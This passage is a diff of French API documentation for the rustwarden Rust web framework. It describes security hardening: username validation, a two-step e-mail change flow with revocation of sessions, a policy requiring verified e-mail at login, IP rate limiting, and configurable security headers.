19 +> ⚠️ **Security 1.0.1 — propagé par `update-project`.** Patch interne (pas de nouvelle API `pub`). Fenêtre d'adoption **14 jours**. Actions consommateur : (1) si vous servez le routeur vous-mêmes, `into_make_service_with_connect_info::<SocketAddr>()` — `RustwardenApp::run()` le fait déjà ; (2) `JWT_SECRET` égal à un placeholder connu (dont `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE`) **refuse le boot** ; (3) `database/.env` doit définir `POSTGRES_PASSWORD` (plus de fallback compose) et PostgreSQL n'écoute que `127.0.0.1:5432` ; (4) retirer les workarounds dupliqués (garde JWT maison, rate-limit IP headers-only, `RateLimitService::new()` par requête). Détail : [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) § 2026-09-18 et CHANGELOG `[1.0.1]`.
20 +
15 21 ---
16 22
17 23 ## Table des matieres
@@ -124,7 +130,7 @@ Gestion CRUD des utilisateurs et de leurs roles.
124 130
125 131 | Methode | Signature | Description |
126 132 |---------|-----------|-------------|
127 -| `create_user` | `(db, username: String, email: String, password_hash: String, must_change_password: bool) → Result<user::Model>` | Cree un utilisateur. Le mot de passe doit etre **pre-hashe** via `PasswordService::hash_password`. |
133 +| `create_user` | `(db, username: String, email: String, password_hash: String, must_change_password: bool) → Result<user::Model>` | Cree un utilisateur. Le mot de passe doit etre **pre-hashe** via `PasswordService::hash_password`. **1.1.0** : valide `username` via [`Username::parse`](#username-value-object) — porte de validation unique (RFC 0036). `email_verified` est toujours initialise a `false`. |
128 134 | `get_user_by_id` | `(db, user_id: Uuid) → Result<Option<user::Model>>` | Recherche par ID. |
129 135 | `get_user_by_username` | `(db, username: &str) → Result<Option<user::Model>>` | Recherche par nom d'utilisateur. |
130 136 | `get_user_by_email` | `(db, email: &str) → Result<Option<user::Model>>` | Recherche par email. |
@@ -133,7 +139,7 @@ Gestion CRUD des utilisateurs et de leurs roles.
133 139 | `get_user_roles` | `(db, user_id: Uuid) → Result<Vec<String>>` | Retourne les noms des roles d'un utilisateur (ex: `["admin", "user"]`). |
134 140 | `assign_role_to_user` | `(db, user_id: Uuid, role_id: Uuid) → Result<user_role::Model>` | Assigne un role a un utilisateur. |
135 141 | `unassign_role_from_user` | `(db, user_id: Uuid, role_id: Uuid) → Result<()>` | Retire un role a un utilisateur. Empeche de retirer le role `admin` au dernier administrateur. |
136 -| `update_profile` | `(db, user_id: Uuid, username: Option<String>, email: Option<String>) → Result<user::Model>` | Met a jour le profil. Valide l'unicite du username et de l'email. |
142 +| `update_profile` | `(db, user_id: Uuid, username: Option<String>, email: Option<String>) → Result<user::Model>` | Met a jour le profil. Valide l'unicite du username. **1.1.0** : `Username::parse` sur un **vrai rename** uniquement (RFC 0036) ; **n'ecrit plus jamais `users.email`** — un vrai changement d'adresse renvoie `AppError::Validation` vers [`EmailChangeService`](#emailchangeservice) (RFC 0041), un echo de l'adresse courante reste un no-op. |
137 143 | `change_password` | `(db, user_id: Uuid, old_password: &str, new_password: &str, current_token_id: Option<Uuid>) → Result<(Uuid, String)>` | Initie un changement de mot de passe avec confirmation email (cree une demande pendante). Retourne `(request_id, plain_token)`. |
138 144 | `change_password_direct` | `(db, user_id: Uuid, old_password: &str, new_password: &str) → Result<()>` | Change le mot de passe directement (sans confirmation email). Verifie l'ancien mot de passe, valide la complexite, revoque les sessions (SEC-M7). |
139 145 | `admin_reset_password` | `(db, user_id: Uuid, new_password: &str) → Result<()>` | Reset admin : hash et applique le nouveau mot de passe. Force `must_change_password = true`. Revoque les sessions (SEC-M7). |
@@ -155,6 +161,176 @@ Gestion CRUD des utilisateurs et de leurs roles.
155 161 | `created_at` | `DateTime` | Date de creation |
156 162 | `updated_at` | `DateTime` | Derniere mise a jour |
157 163
164 +#### Regles de nommage (RFC 0036, depuis 1.1.0)
165 +
166 +`create_user` (porte unique) et `update_profile` (sur **rename** uniquement)
167 +refusent tout username hors charset `[a-z0-9-]{3,39}` — regles completes et
168 +exemples dans [`Username` (value object)](#username-value-object) ci-dessous.
169 +`POST /api/v1/auth/register` applique le meme parse en defense en profondeur
170 +(`RegisterRequest.username` : `max` passe de **64 a 39**).
171 +
172 +**Aucun `CHECK` SQL, aucune migration, aucun rewrite** : les comptes existants
173 +hors charset continuent de **se connecter** ; seules les **ecritures** sont
174 +controlees. Un client qui renvoie le username courant (formulaire de profil
175 +postant tous les champs) est traite en **no-op** — le grandfathering est preserve.
176 +
177 +#### Changement d'adresse e-mail (RFC 0041, depuis 1.1.0)
178 +
179 +`update_profile` **n'ecrit plus jamais** `users.email` :
180 +
181 +| Cas | Comportement |
182 +|-----|--------------|
183 +| Nouvelle adresse (comparaison exacte apres `trim`) | `AppError::Validation` — le message renvoie explicitement vers `EmailChangeService::request_change` / `POST /api/v1/auth/email-change`. **Rien n'est ecrit**, y compris le username passe dans le meme appel |
184 +| Echo de l'adresse courante | No-op complet : le champ est ignore, le reste du profil est mis a jour normalement |
185 +| Rename username seul | Inchange (RFC 0036) |
186 +| Chemin **admin** | Identique : `PUT /admin/users/:id` (rustwarden-ui) passe par `update_profile` et ne change donc plus l'adresse. Le recours operateur est [`admin_force_change`](#emailchangeservice) |
187 +
188 +Le changement d'adresse reel est un flux **en deux temps** decrit ci-dessous.
189 +Tant que le lien envoye a la nouvelle boite n'est pas suivi, **rien ne change en
190 +base** : l'adresse courante reste celle du compte et reste verifiee.
191 +
192 +### `EmailChangeService`
193 +
194 +**Module** : `rustwarden_core::services::email_change_service`
195 +**RFC** : [0041](rfcs/0041-pending-email-changes.md) — depuis **1.1.0**
196 +**Migration** : `m20260919_000011_pending_email_changes`
197 +
198 +Changement d'adresse e-mail en deux temps, avec preuve de possession de la
199 +**nouvelle** boite et droit d'alerte de l'**ancienne**.
200 +
201 +| Methode | Signature | Description |
202 +|---------|-----------|-------------|
203 +| `new` | `(config: EmailConfig) → Self` | Construit le service. |
204 +| `with_i18n` | `(self, i18n: Arc<I18nService>) → Self` | Traduit sujets et corps des mails ; sans elle, libelles anglais embarques. |
205 +| `request_change` | `(&self, db, user_id: Uuid, new_email: &str, current_password: &str) → Result<()>` | Re-authentifie avec le **mot de passe courant**, valide format et unicite, consomme toute demande pendante du compte, ecrit la ligne d'attente et met **deux** mails en file (confirmation vers la nouvelle adresse, avis + lien de signalement vers l'ancienne). `users.email` et `email_verified` **ne bougent pas**. |
206 +| `confirm_change` | `(&self, db, token: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<Uuid>` | Ecrit la nouvelle adresse **deja verifiee**, **revoque tous les refresh tokens** du compte, invalide les demandes de changement de mot de passe pendantes, trace `audit_logs` `email_changed`. |
207 +| `report_suspicious` | `(&self, db, report_token: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<Uuid>` | Marque la demande signalee, trace en `audit_logs` (WARN) et alerte tous les administrateurs. **Ne bloque pas** le changement. |
208 +| `admin_force_change` | `(&self, db, actor_id: Uuid, user_id: Uuid, new_email: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<()>` | Recours operateur : exige le role `admin` (sinon `AppError::Forbidden`), ecrit l'adresse sans confirmation, revoque les sessions de la cible, notifie les deux boites, trace `email_changed_by_admin` (WARN). `on_email_verified` n'est **pas** emis. |
209 +| `cleanup_expired` | `(db) → Result<u64>` | Supprime les lignes expirees depuis plus de 30 jours (consommees et signalees comprises). |
210 +| `inspect_confirmation_token` | `(db, token: &str) → Result<EmailChangeLinkState>` | Lecture **sans effet de bord** de l'etat d'un lien de confirmation. |
211 +| `inspect_report_token` | `(db, report_token: &str) → Result<EmailChangeLinkState>` | Idem pour un lien de signalement. |
212 +
213 +`EmailChangeLinkState` : `Usable`, `Unknown`, `Expired`, `Used`.
214 +
215 +**Duree de validite** : `email_validation_expiration_hours` — le reglage deja
216 +utilise par la validation d'adresse, pas de nouvelle variable d'environnement.
217 +
218 +**Limiteur** : 3 demandes par heure et par utilisateur (`email_change:{user_id}`,
219 +budget distinct de `email_verify` et `pwd_reset`), plus le budget IP existant sur
220 +`POST /api/v1/auth/email-change`. Depassement → `AppError::TooManyRequests`.
221 +
222 +**Fail-loud** : contrairement aux notifications best-effort du reste du
223 +framework, `request_change` **echoue** si la mise en file des mails echoue —
224 +mieux vaut pas de demande qu'une demande dont le lien n'arrivera jamais. Rien
225 +n'est ecrit sur le compte dans ce cas.
226 +
227 +**Masquage** : adresses masquees (`jo***@ex***`) dans les logs, `audit_logs`,
228 +payloads de hooks **et** corps de reponse de la demande.
229 +
230 +#### Routes (canal machine)
231 +
232 +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET`
233 +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a
234 +d'effet de bord — une passerelle anti-phishing qui precharge les liens ne peut
235 +donc pas confirmer un changement d'adresse a la place de l'utilisateur.
236 +
237 +| Methode | Chemin | Auth | Effet |
238 +|---|---|---|---|
239 +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande |
240 +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
241 +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement |
242 +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
243 +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement |
244 +
245 +Montees par `auth_api_routes()`, donc par `merge_machine_routes` — **jamais**
246 +derriere la couche CSRF, sans quoi la page ouverte depuis une boite mail serait
247 +inutilisable. Les pages sont du HTML minimal autoportant produit par le core :
248 +ni Askama, ni `rustwarden-ui`, ni JavaScript, ni ressource externe. Pour votre
249 +propre presentation, montez vos routes `GET` et postez vers les routes `POST`
250 +du core.
251 +
252 +#### Purge des demandes expirees
253 +
254 +`PendingEmailChangeCleanupProcessor` (prelude) purge les lignes expirees depuis
255 +plus de 30 jours. Comme `PersonalTokenCleanupProcessor` et
256 +`PasswordChangeCleanupProcessor`, **`app.rs` ne le demarre pas** :
257 +
258 +```rust
259 +use rustwarden_core::prelude::PendingEmailChangeCleanupProcessor;
260 +
261 +PendingEmailChangeCleanupProcessor::new(db.clone()).start();
262 +```
263 +
264 +Retention en constante de code, aucune variable d'environnement. Sans ce
265 +demarrage, une purge opportuniste limitee a l'utilisateur courant s'execute a
266 +chaque nouvelle demande.
267 +
268 +> ⚠️ **Ce que la confirmation deconnecte** : `confirm_change` revoque **tous**
269 +> les refresh tokens du compte. L'utilisateur qui confirme depuis sa nouvelle
270 +> boite est deconnecte partout et doit se reconnecter avec la **nouvelle**
271 +> adresse. Dites-le dans l'ecran qui ouvre la demande.
272 +>
273 +> ⚠️ **Le signalement n'annule rien** : le lien envoye a l'ancienne adresse
274 +> alerte les administrateurs et trace en `audit_logs`, il ne bloque pas le
275 +> changement. C'est un choix explicite — un attaquant qui controle l'ancienne
276 +> boite ne doit pas pouvoir bloquer une reprise de controle legitime.
277 +>
278 +> ⚠️ **Recours perdu** : un utilisateur qui a perdu **a la fois** son mot de
279 +> passe et l'acces a son adresse courante ne se debloque plus seul ; c'est un
280 +> `admin_force_change` apres verification d'identite hors bande. La faute de
281 +> frappe a l'**inscription** releve du meme recours : `register` ecrit l'adresse
282 +> saisie sans double verification, hors perimetre de la RFC 0041.
283 +
284 +### `Username` (value object)
285 +
286 +**Module** : `rustwarden_core::types::username`
287 +**Export** : prelude
288 +**RFC** : [0036](rfcs/0036-username-charset-validation.md) — depuis **1.1.0**
289 +
290 +Newtype valide pour un identifiant de connexion local, calque sur [`TeamSlug`](#teamslug-value-object).
291 +
292 +| Methode | Signature | Description |
293 +|---------|-----------|-------------|
294 +| `parse` | `(raw: &str) → Result<Username, AppError>` | Valide charset, longueur, tirets **et** noms reserves. `AppError::Validation` (400) sinon. |
295 +| `as_str` | `(&self) → &str` | Vue empruntee. |
296 +| `into_inner` | `(self) → String` | Consomme le newtype (a passer a `create_user`). |
297 +
298 +Derive `Debug, Clone, Eq, PartialEq, Hash, Serialize, Deserialize` (`#[serde(transparent)]`) et implemente `Display`.
299 +
300 +**Regles appliquees par `parse`** :
301 +
302 +| Regle | Detail |
303 +|-------|--------|
304 +| Longueur | 3 a 39 caracteres, mesures **apres `trim()`** |
305 +| Charset | `[a-z0-9-]` uniquement |
306 +| Majuscules | **Rejetees**, jamais repliees — `Alice` echoue, il ne devient pas `alice` |
307 +| Tirets | Ni en tete ni en queue, pas de `--` consecutifs |
308 +| Noms reserves | `types::team_slug::RESERVED` + `EXTRA_RESERVED` (`me`, `explore`) |
309 +
310 +```rust
311 +use rustwarden_core::prelude::*;
312 +
313 +let username = Username::parse("squad-42")?; // Ok
314 +assert!(Username::parse("Alice").is_err()); // majuscule → refus, pas de fold
315 +assert!(Username::parse("john_doe").is_err()); // underscore hors charset
316 +assert!(Username::parse("me").is_err()); // nom reserve
317 +
318 +UserService::create_user(&db, username.into_inner(), email, password_hash, true).await?;
319 +```
320 +
321 +**Chemin bootstrap** : `Username::parse_allow_reserved` et
322 +`UserService::create_user_allow_reserved` sont `pub(crate)` et reserves a
323 +`ensure_default_admin` (pour que `ADMIN_USERNAME=admin` continue de booter).
324 +Ils appliquent toujours charset et longueur — un `ADMIN_USERNAME` avec une
325 +majuscule ou un `_` fait **echouer le boot** sur le chemin de creation de l'admin.
326 +
327 +**Usernames OAuth** : `OAuthService::generate_unique_username` produit deja des
328 +candidats conformes (minuscules `[a-z0-9]`, base tronquee a 30 caracteres,
329 +suffixes `-NNN` / `-user` / `-<hex8>`).
330 +
331 +**A retirer cote consommateur** : tout newtype `Username` / `validate_username()`
332 +local — `grep -rni "struct Username\|validate_username" src/`.
333 +
158 334 ---
159 335
160 336 ## 4. Authentification
@@ -167,13 +343,51 @@ Verification des credentials avec protection contre le timing attack (SEC-C1).
167 343
168 344 | Methode | Signature | Description |
169 345 |---------|-----------|-------------|
170 -| `verify_credentials` | `(db, username: &str, password: &str) → Result<user::Model>` | Verifie les identifiants. Utilise un **dummy hash** si l'utilisateur n'existe pas pour eviter les timing attacks. |
171 -| `authenticate_user` | `(db, username: &str, password: &str) → Result<user::Model>` | Authentification de haut niveau. Appelle `verify_credentials` et logue si `must_change_password`. |
346 +Le parametre `identifier` accepte indifferemment un **username ou un email** (lookup par email s'il contient `@`).
347 +
348 +| Methode | Signature | Description |
349 +|---------|-----------|-------------|
350 +| `verify_credentials` | `(db, identifier: &str, password: &str) → Result<user::Model>` | Primitive **mot de passe seul**. Utilise un **dummy hash** si l'utilisateur n'existe pas pour eviter les timing attacks. **N'applique pas** la politique e-mail verifie — a reserver aux re-authentifications (re-prompt avant setup TOTP). |
351 +| `authenticate_user` | `(db, identifier: &str, password: &str) → Result<user::Model>` | Porte d'authentification complete. Appelle `verify_credentials`, logue si `must_change_password`, puis **applique la politique e-mail verifie** (RFC 0040, depuis 1.1.0). |
172 352
173 353 **Securite** :
174 354 - `DUMMY_HASH` : hash bcrypt pre-calcule utilise quand le username n'existe pas. Le temps de reponse est identique qu'il y ait ou non un utilisateur correspondant (SEC-C1).
175 355 - `mask_username()` : masque les usernames dans les logs (affiche uniquement le premier tiers des caracteres).
176 356
357 +#### Politique « e-mail verifie » (RFC 0040, depuis 1.1.0)
358 +
359 +Le controle vivait dans le **handler** `POST /api/v1/auth/login` ; il a ete
360 +**deplace dans `authenticate_user`**, pour qu'une app qui appelle le service
361 +directement (SSR maison, handler custom) ne puisse plus le contourner.
362 +
363 +| Aspect | Valeur |
364 +|--------|--------|
365 +| Reglage | `validation_email_required` (alias legacy `validation_email_requise`), lu via `AppSettingsService::get_bool_with_fallback` |
366 +| Defaut | `true` — **fail-closed** : une erreur de lookup vaut « verification requise » |
367 +| Erreur | `AppError::Validation` → **HTTP 400**, message francais destine a l'utilisateur final (inchange depuis 1.0.1) |
368 +| Ordre | Mot de passe verifie **d'abord** → pas d'oracle « compte existant mais non verifie » |
369 +| Audit | Ligne `audit_logs` ecrite (`action = "login_blocked"`) via `AuthLoggingService::log_blocked_login` |
370 +| Hook | ⚠️ `on_audit_event` / `auth.login_blocked` **n'est plus emis** sur ce chemin (`hooks = None`, decision v1). Une alerte branchee sur ce hook doit basculer sur `audit_logs`. |
371 +
372 +```rust
373 +use rustwarden_core::services::auth_service::AuthService;
374 +use rustwarden_core::error::AppError;
375 +
376 +match AuthService::authenticate_user(&db, &form.username, &form.password).await {
377 + Ok(user) => issue_session(user).await,
378 + // Message deja redige pour l'utilisateur : proposer « renvoyer l'email ».
379 + Err(AppError::Validation(msg)) => render_login_error(&msg, /* show_resend = */ true),
380 + Err(AppError::InvalidCredentials) => render_login_error("Identifiants invalides.", false),
381 + Err(e) => Err(e),
382 +}
383 +```
384 +
385 +**A retirer cote consommateur** : tout patch local re-verifiant `email_verified`
386 +apres `authenticate_user` (double controle = double message d'erreur).
387 +`grep -rn "authenticate_user\|email_verified" src/`.
388 +
389 +Le middleware Tower `auth_service::AuthService` (préfixes protégés) est **fail-closed** depuis 1.0.1 : erreur DB à la blacklist JWT → refus ; utilisateur introuvable → non authentifié ; erreur DB du statut TOTP quand `totp_force_enabled` → **503**. Un JWT encore valide pour un compte supprimé ne traverse plus.
390 +
177 391 ### `AuthUser` (extracteur)
178 392
179 393 **Module** : `rustwarden_core::auth::extractors`
@@ -318,7 +532,7 @@ Rate limiting delegue a [`RateLimitService`](#15-rate-limiting) via `check_slidi
318 532 | `find_by_token` | `(&self, db, token: &str) → Result<password_change_request::Model>` | Trouve une demande par token (verifie expiration et statut). |
319 533 | `find_pending_by_user_id` | `(&self, db, user_id: Uuid) → Result<Option<Model>>` | Trouve la demande pendante d'un utilisateur. |
320 534 | `cancel_pending_request` | `(&self, db, user_id: Uuid) → Result<()>` | Annule la demande pendante. |
321 -| `invalidate_on_email_change` | `(&self, db, user_id: Uuid) → Result<u64>` | Invalide les demandes si l'email change (le token a ete envoye a l'ancien email). |
535 +| `invalidate_on_email_change` | `(&self, db, user_id: Uuid) → Result<u64>` | Invalide les demandes quand l'adresse change (le token a ete envoye a l'ancienne). **1.1.0** : appele par le core lui-meme dans [`EmailChangeService::confirm_change` et `admin_force_change`](#emailchangeservice) — ne l'appelez plus depuis un handler de profil (RFC 0041). |
322 536 | `cleanup_expired_requests` | `(&self, db) → Result<u64>` | Nettoie les demandes expirees ou confirmees. |
323 537 | `cleanup_failed_requests` | `(&self, db) → Result<u64>` | Supprime les demandes avec 3+ tentatives echouees. |
324 538
@@ -332,7 +546,9 @@ Flux "Mot de passe oublie" (reset par email).
332 546 |---------|-----------|-------------|
333 547 | `request_reset` | `(&self, db, email: &str) → Result<bool>` | Envoie un email de reset. Retourne `false` si l'utilisateur n'existe pas (pas d'erreur, pour la securite). Rate limited : `check_sliding_window("pwd_reset:{email}", 3, 1h)` → 429 + `Retry-After`. |
334 548 | `validate_token` | `(&self, db, token: &str) → Result<Uuid>` | Valide un token de reset. Retourne le `user_id`. |
335 -| `reset_password` | `(&self, db, token: &str, new_password: &str) → Result<Uuid>` | Reset le mot de passe. Marque le token comme utilise et **revoque tous les refresh tokens** (SEC-M7). |
549 +| `reset_password` | `(&self, db, token: &str, new_password: &str) → Result<Uuid>` | Valide le token, **applique `validate_password_complexity` avant hash / `used_at`** (1.0.1), marque le token utilise et **revoque tous les refresh tokens** (SEC-M7). Un mot de passe trop faible ne consomme plus le token. |
550 +
551 +`PasswordResetService::new(email_config)` : signature inchangee. Depuis 1.0.1 le rate limiter interne est un **`OnceLock` partage** (plus une nouvelle map par `new()`). Ne pas recreer le service a chaque requete pour « partager » le limiter — c'est deja le cas. `RateLimitService` est `Clone` (Arc) : un `new()` par requete dans un autre service reste un anti-pattern (chaque instance a sa propre map).
336 552
337 553 ---
338 554
@@ -707,7 +923,10 @@ Verification d'email par token.
707 923
708 924 | Methode | Signature | Description |
709 925 |---------|-----------|-------------|
710 -| `new` | `(config: EmailConfig) → Self` | Constructeur. |
926 +| `new` | `(config: EmailConfig) → Self` | Constructeur. Depuis 1.0.1 le rate limiter interne est un **`OnceLock` partage** (signature inchangee). |
927 +| `send_validation_email` | `(&self, db, user_id: Uuid) → Result<()>` | Envoie l'email de verification. Invalide les tokens precedents. |
928 +| `verify_email` | `(&self, db, token: &str) → Result<Uuid>` | Verifie l'email via le token. Passe `email_verified = true`. Envoie un email de bienvenue. |
929 +| `resend_verification` | `(&self, db, email: &str) → Result<bool>` | Renvoie l'email de verification. Rate limited : `check_sliding_window("email_verify:{email}", 3, 1h)` → 429 + `Retry-After`. |
711 930 | `send_validation_email` | `(&self, db, user_id: Uuid) → Result<()>` | Envoie l'email de verification. Invalide les tokens precedents. |
712 931 | `verify_email` | `(&self, db, token: &str) → Result<Uuid>` | Verifie l'email via le token. Passe `email_verified = true`. Envoie un email de bienvenue. |
713 932 | `resend_verification` | `(&self, db, email: &str) → Result<bool>` | Renvoie l'email de verification. Rate limited : `check_sliding_window("email_verify:{email}", 3, 1h)` → 429 + `Retry-After`. |
@@ -812,25 +1031,27 @@ Rate limiter generique in-process, backing de toutes les limites du framework (a
812 1031 | `check` | `(&self, key: &str, max_per_minute: u32) → Result<(), AppError>` | Fixed window 60s. Renvoie `AppError::TooManyRequests { retry_after_secs }` au depassement. |
813 1032 | `check_window` | `(&self, key: &str, max: u32, window: Duration) → Result<(), AppError>` | Idem avec fenetre personnalisable. |
814 1033 | `check_sliding_window` | `(&self, key: &str, max: u32, window: Duration) → Result<(), AppError>` | **Sliding window strict** (stocke chaque timestamp). Preferable pour les flux securite sensibles (password reset, email verify). |
815 -| `cleanup_loop` | `(self, interval: Duration, window: Duration)` async | Tache de fond qui purge les buckets expires sur les deux maps (fixed + sliding). |
1034 +| `cleanup_loop` | `(self, interval: Duration, window: Duration)` async | Tache de fond qui purge les buckets expires sur les deux maps (fixed + sliding). **Ne borne pas** le nombre de cles : au plafond `MAX_ENTRIES` (100 000) l'insertion **evince l'entree LRU** au lieu de 429 sur une cle neuve (1.0.1). |
816 1035 | `len` / `sliding_len` / `is_empty` | | Compteurs exposes pour metrics/tests. |
817 1036
818 1037 **Cle convention** : `"<scope>:<identifier>"` — ex. `"auth:1.2.3.4"`, `"share:1.2.3.4"`, `"pwd_reset:user@example.com"`, `"import:123e4567-..."`.
819 1038
820 1039 **AppError::TooManyRequests** : mappe vers HTTP **429** + header `Retry-After: N` + body JSON `{"error","status":429,"retry_after_secs":N}`.
821 1040
1041 +`RateLimitService` est `Clone` (interieur `Arc`). **Un `new()` par requete** cree une map vide : la limite n'est jamais atteinte. Les services framework qui doivent limiter (reset, email verify) utilisent un `OnceLock` interne.
1042 +
822 1043 Exemple d'usage pour proteger un endpoint d'import cote app consommateur :
823 1044 ```rust
824 1045 use std::sync::Arc;
825 1046 use rustwarden_core::services::rate_limit_service::RateLimitService;
826 1047
827 -// Au demarrage de l'app
1048 +// Au demarrage de l'app — une seule instance, pas dans le handler
828 1049 let limiter = Arc::new(RateLimitService::new());
829 1050 // Dans un handler
830 1051 limiter.check(&format!("import:{ip}"), 120)?; // 120/min
831 1052 ```
832 1053
833 -Les helpers du middleware [`rate_limit`](#18-middleware-csrf-auth-rate-limit) exposent deja `check_auth_rate_limit(headers)` et `check_public_share_rate_limit(request)`.
1054 +Les routes JSON `/api/v1/auth/{login,register,refresh,forgot-password,2fa/verify,resend-verification*}` sont protegees par un **layer** `auth_ip_rate_limit` (ConnectInfo / MockConnectInfo). `check_auth_rate_limit(&HeaderMap)` reste public (signature gelee) mais **ne lit pas ConnectInfo** : a n'utiliser que si vous extrayez deja l'IP, ou pour un fallback headers-only. Un login SSR hors `auth_api_routes()` n'herite pas du layer — il faut le limiter explicitement (helper ou `RateLimitService` partage + IP extraite du `Request`).
834 1055
835 1056 > **Integration consommateur** : voir [DEVELOPER.md §15 — Rate limiting et notifications temps-reel](../DEVELOPER.md#rate-limiting-et-notifications-temps-reel) pour l'exemple d'integration dans un handler Axum.
836 1057
@@ -1072,12 +1293,16 @@ Wrapper pratiques par-dessus `RateLimitService` :
1072 1293
1073 1294 | Helper | Signature | Description |
1074 1295 |--------|-----------|-------------|
1075 -| `check_auth_rate_limit` | `(&HeaderMap) → Result<(), Response>` | Protege login/register/refresh/oauth-callback. Cle `auth:{ip}`. Configurable via env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10). |
1076 -| `check_public_share_rate_limit` | `(&Request) → Result<(), Response>` | Protege les endpoints de public share. Cle `share:{ip}`, 30/min. |
1296 +| `check_auth_rate_limit` | `(&HeaderMap) → Result<(), Response>` | Helper **headers-only** (signature `pub` gelee). Cle `auth:{ip}` via `X-Forwarded-For` si `TRUSTED_PROXY_HOPS > 0`, sinon `auth:unknown`. **Ne protege plus** le router JSON : voir layer ci-dessous. Configurable via env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10). |
1297 +| `check_public_share_rate_limit` | `(&Request) → Result<(), Response>` | Protege les endpoints de public share. Cle `share:{ip}`, 30/min. Lit ConnectInfo. |
1077 1298 | `check_public_share_rate_limit_from_headers` | `(&HeaderMap) → Result<(), Response>` | Idem depuis un `HeaderMap` (extractor deja consomme le Request). |
1078 -| `extract_client_ip` / `extract_client_ip_from_headers` | | IP utilisateur avec support `X-Forwarded-For` (gated par `TRUSTED_PROXY_HOPS`). |
1299 +| `extract_client_ip` / `extract_client_ip_from_headers` | | IP utilisateur : `extract_client_ip(&Request)` lit **ConnectInfo puis MockConnectInfo** (tests Axum 0.8), puis XFF. `extract_client_ip_from_headers` ignore ConnectInfo. |
1079 1300 | `AdminRateLimitConfig::*` | | Layers Tower pre-construits (`admin_limit`, `user_management_limit`, `reset_password_limit`). |
1080 1301
1302 +`auth_api_routes()` pose un layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, **2fa/verify**, resend-verification*. Logout, me, reset-password et verify-email (token) restent hors quota IP. Derriere un reverse proxy, `TRUSTED_PROXY_HOPS` doit etre `>= 1` sinon la cle est l'IP du hop (souvent `127.0.0.1`).
1303 +
1304 +`RustwardenApp::run()` sert via `into_make_service_with_connect_info::<SocketAddr>()`. Un consommateur qui appelle `axum::serve(listener, router)` **sans** ConnectInfo retombe sur `auth:unknown` (un seul seau pour tout le monde).
1305 +
1081 1306 ### Auth / Admin
1082 1307
1083 1308 **Module** : `rustwarden_core::middleware`
@@ -1112,6 +1337,88 @@ Mode d'échec sur préfixe protégé atteint sans credentials valides — `AuthC
1112 1337
1113 1338 Les projets générés par le CLI en mode headless câblent déjà ce router (+ un endpoint protégé d'exemple `whoami` via l'extracteur `AuthUser`). `rustwarden_ui::api_routes()` monte le même set.
1114 1339
1340 +Le rate-limit IP du layer s'applique aux routes d'attaque (login, register, refresh, forgot-password, 2fa/verify, resend). Un handler HTML `/login` **hors** ce router n'est pas couvert — à limiter côté app (ConnectInfo ou `extract_client_ip` sur le `Request`).
1341 +
1342 +### En-tetes de securite (`SecurityHeadersConfig`)
1343 +
1344 +**Module** : `rustwarden_core::config::security_headers`
1345 +**Export** : prelude
1346 +**RFC** : [0039](rfcs/0039-security-headers-config.md) — depuis **1.1.0**
1347 +
1348 +Le middleware `security_headers_middleware` pose les en-tetes de securite sur
1349 +**toutes** les reponses. Depuis 1.1.0, la CSP est configurable et COOP/CORP sont
1350 +disponibles en opt-in.
1351 +
1352 +```rust
1353 +#[derive(Clone, Debug)]
1354 +pub struct SecurityHeadersConfig {
1355 + pub content_security_policy: Cow<'static, str>,
1356 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
1357 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
1358 +}
1359 +```
1360 +
1361 +| Element | Signature / valeur | Description |
1362 +|---------|--------------------|-------------|
1363 +| `SecurityHeadersConfig::default()` | — | CSP = `DEFAULT_CONTENT_SECURITY_POLICY`, COOP/CORP = `None` |
1364 +| `with_same_origin_isolation` | `(self) → Self` | Positionne COOP **et** CORP a `same-origin`. La CSP n'est pas touchee. |
1365 +| `DEFAULT_CONTENT_SECURITY_POLICY` | `&'static str` | La CSP historique 1.0.1 (avec `'unsafe-inline'` et `'unsafe-eval'`) |
1366 +| `CSP_WITHOUT_UNSAFE_EVAL` | `&'static str` | Candidat **Phase 2**, identique au defaut moins `'unsafe-eval'`. **Non utilise** par `Default`. |
1367 +| `RustwardenBuilder::security_headers` | `(cfg: SecurityHeadersConfig) → Self` | Override au builder |
1368 +
1369 +> ✅ **Le defaut est bit-identique a 1.0.1.** Un consommateur qui n'appelle
1370 +> jamais `.security_headers(..)` ne voit **aucun** changement d'en-tete — ni
1371 +> amelioration automatique, ni regression. Le durcissement du defaut (retrait
1372 +> de `'unsafe-eval'`) est une **Phase 2** ulterieure, conditionnee a la migration
1373 +> vers la build Alpine CSP ([plans/PLAN_CSP_HTMX.md](plans/PLAN_CSP_HTMX.md)).
1374 +
1375 +| En-tete | Configurable ? | Defaut |
1376 +|---------|----------------|--------|
1377 +| `Content-Security-Policy` | **Oui** | `DEFAULT_CONTENT_SECURITY_POLICY` |
1378 +| `Cross-Origin-Opener-Policy` | **Oui**, opt-in | non emis (`None`) |
1379 +| `Cross-Origin-Resource-Policy` | **Oui**, opt-in | non emis (`None`) |
1380 +| `X-Content-Type-Options` | Non | `nosniff` |
1381 +| `X-Frame-Options` | Non | `DENY` |
1382 +| `X-XSS-Protection` | Non | `0` |
1383 +| `Referrer-Policy` | Non | `strict-origin-when-cross-origin` |
1384 +| `Permissions-Policy` | Non | `camera=(), microphone=(), geolocation=()` |
1385 +| `Strict-Transport-Security` | Non | `max-age=31536000; includeSubDomains`, sauf si `APP_DEBUG=true` |
1386 +
1387 +```rust
1388 +use rustwarden_core::prelude::*; // RustwardenApp, SecurityHeadersConfig
1389 +
1390 +let app = RustwardenApp::builder()
1391 + .from_env()
1392 + .security_headers(
